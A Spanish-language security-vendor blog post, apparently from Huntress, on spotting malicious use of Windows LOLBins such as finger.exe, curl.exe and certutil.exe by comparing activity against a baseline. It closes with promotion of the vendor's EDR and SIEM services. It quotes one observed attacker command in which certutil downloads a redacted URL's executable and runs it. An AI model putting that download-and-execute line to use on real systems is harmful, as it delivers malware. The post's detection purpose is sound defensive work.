Antes de poder identificar actividad anómala de LOLBins, necesitas saber cómo se ve lo normal en tu entorno. Es un poco como un carrito de limpieza que se mueve por un hotel: verlo en un pasillo de huéspedes durante el día es rutinario, pero verlo a las 3 a. m. o estacionado afuera de una oficina restringida genera preguntas. Los LOLBins funcionan igual; la utilidad en sí no es inherentemente sospechosa, pero dónde, cuándo y cómo se ejecuta sí puede serlo.

Esa referencia es lo que hace que los indicadores de detección a continuación tengan sentido. Sin ella, solo estás viendo una lista de nombres de procesos; con ella, estás viendo una señal.

Los equipos de seguridad detectan actividad maliciosa de LOLBins al comparar la ejecución de procesos en tiempo real con una línea base y señalar desviaciones en algunas áreas específicas. En los incidentes que los analistas de Huntress han investigado, los siguientes indicadores separan de forma consistente la actividad maliciosa de LOLBin del uso legítimo de un administrador:

• Proceso padre inesperado: un LOLBin generado por un proceso que normalmente no lo inicia

• Ejecución desde un directorio no estándar: el binario se ejecuta desde una ubicación fuera de su ruta de instalación típica

• Indicadores de línea de comandos inusuales: argumentos o modificadores que rara vez o nunca se han visto en la línea base de tu entorno

• IP o dominios de destino vistos por primera vez: conexiones de red iniciadas por el LOLBin hacia una IP o dominio con el que tu entorno no se había comunicado antes

• Un aumento en la frecuencia de ejecución: un salto en la frecuencia con la que se ejecuta el binario en relación con su línea base establecida

Estos son los patrones exactos detrás de los tres incidentes a continuación, que involucran a finger.exe, curl.exe y certutil.exe. Nuestro blog “Exposing Data Exfiltration” cubre ejemplos adicionales en un conjunto más amplio de utilidades para la exfiltración de datos.

Finger es una aplicación cliente-servidor desarrollada por primera vez en 1971 para permitir que los usuarios consulten otros sistemas en una red en busca de una lista de usuarios con sesión iniciada. Los endpoints Windows incluyen la aplicación cliente finger.exe, y los analistas de Huntress han observado a actores de amenazas usando este LOLBin para descargar archivos, así como para exfiltración de datos.

Resultados de búsqueda en Elastic para finger.exe

Una búsqueda reciente en Elastic de instancias de finger.exe ejecutadas durante el período anterior de 24 horas reveló solo una instancia del comando, sin argumentos. Esta instantánea puntual es un primer paso para entender con qué frecuencia se usa normalmente finger.exe en un entorno, y las organizaciones pueden usar técnicas similares para establecer una línea base del uso de esta y otras utilidades en su propia infraestructura.

Los analistas de Huntress también han observado actores de amenazas usando curl.exe para descargar archivos. Curling for Data: A Dive into a Threat Actor's Malicious TTPs recorre uno de estos incidentes en detalle.

Una búsqueda en Elastic de este LOLBin, similar a la búsqueda de finger.exe, arroja 2,182,554 resultados. Refinar la búsqueda para eliminar gran parte de la actividad legítima toma tiempo y esfuerzo real, aunque buscar patrones específicos conocidos como maliciosos puede reducir eso de inmediato a resultados mínimos o incluso nulos. Por ejemplo, al agregar una búsqueda de "Dokan", un controlador de sistema de archivos, no se obtiene ningún resultado. Ten en cuenta que esta búsqueda abarca miles de endpoints y cientos de clientes, no una sola infraestructura, por lo que la línea base de cualquier organización individual se verá diferente.

Si bien puede haber usos legítimos de curl.exe dentro de un entorno, también hay usos claramente maliciosos, como curl.exe generado desde una línea de comandos de PowerShell distinta a cualquier otra observada dentro de la infraestructura. Sin importar cómo se use curl.exe en otras partes de un entorno, es muy poco probable que se esté usando de manera operativa legítima mediante una línea de comandos como esta. Al recuperar las líneas de comandos de los registros de eventos de Windows PowerShell con ID de evento 600, este tipo de línea de comandos invariablemente se destaca como única frente al resto del registro.

Certutil.exe es una utilidad de línea de comandos usada para mostrar y configurar información relacionada con los Servicios de Certificados. En sus usos más simples, este LOLBin puede codificar y decodificar archivos, así como descargar archivos desde recursos HTTP o HTTPS. Una organización puede tener un uso legítimo para él si opera como una autoridad certificadora, o usa aplicaciones que dependen de las capacidades de la utilidad de alguna manera.

Certutil.exe iniciado mediante PowerShell codificado

En un incidente, los analistas de Huntress observaron que certutil.exe se iniciaba como resultado de una línea de comandos de PowerShell codificada usando [SYSTEM.WEB.HTTPUTILITY]::URLDECODE, la cual era a su vez un proceso hijo de sqlservr.exe, la aplicación Microsoft SQL Server instalada como parte del producto FortiClient Endpoint Management Server (EMS). Según la telemetría de Huntress EDR y los registros de eventos de Windows, la actividad no se ejecutó con éxito en los endpoints monitoreados.

La línea de comandos resultante, observada en múltiples incidentes, apareció de la siguiente manera:

`certutil -urlcache -f [HTTP/HTTPS URL] %TEMP%[REDACTED].exe & start /B %TEMP%[REDACTED].exe`

En este incidente, el registro de eventos de Windows PowerShell contenía más de 750 líneas de comandos individuales de PowerShell, extraídas de los registros con ID de evento 600. Para este incidente, la línea de comandos descrita anteriormente era única y se destacaba notablemente frente a un contexto de líneas de comandos regulares y consistentes.

Los tres incidentes anteriores no son hipotéticos; son actividad que los analistas del Huntress SOC observaron e investigaron en el campo. Ese es el resultado que importa: el uso indebido de LOLBins se marca y lo investiga nuestro SOC sin que tu equipo tenga que revisar registros las 24 horas.

Eso es exactamente para lo que está diseñado Managed EDR. Huntress Managed EDR combina la detección conductual con caza de amenazas humana las 24 horas, los 7 días de la semana, de modo que la actividad anómala de LOLBins (un proceso principal inesperado, una línea de comandos inusual, un destino visto por primera vez) la investigan los analistas en lugar de quedar sin revisar en un panel. Con el tiempo medio de respuesta (MTTR) rápido, bajas tasas de falsos positivos y una implementación diseñada para llevarte de cero a protegido rápidamente, Huntress Managed EDR está diseñado para detectar este tipo de actividad antes de que se convierta en un incidente de gran escala, no para perseguirla después de los hechos.

Para las organizaciones con suficiente volumen de registros como para necesitar una correlación más profunda entre fuentes, Huntress Managed SIEM complementa a Managed EDR al correlacionar la actividad de LOLBins con un conjunto más amplio de fuentes de registros a gran escala.

¿Listo para ver cómo Huntress Managed EDR marcaría el uso indebido de LOLBins en tu entorno? Inicia una prueba gratuita o solicita una demo hoy mismo.